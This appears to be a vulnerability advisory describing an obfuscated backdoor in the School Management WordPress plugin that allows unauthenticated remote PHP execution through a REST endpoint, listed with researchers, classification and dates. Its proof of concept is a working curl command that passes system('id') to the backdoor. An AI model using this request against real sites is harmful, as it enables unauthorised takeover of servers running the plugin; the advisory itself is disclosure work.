WordPress Plugin Vulnerabilities

The School Management < 9.9.7 - Unauthenticated RCE via REST api

Description

The plugin contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.

Proof of Concept

curl -d 'blowfish=1' -d "blowf=system('id');" 'https://examples.com/wp-json/am-member/license'

Affects Plugins

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
Jetpack Scan Team + WordPress elevated support team
Submitter
Harald Eilertsen
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-18 (about 1 years ago)
Added
2022-05-18 (about 1 years ago)
Last Updated
2023-02-10 (about 1 years ago)

Other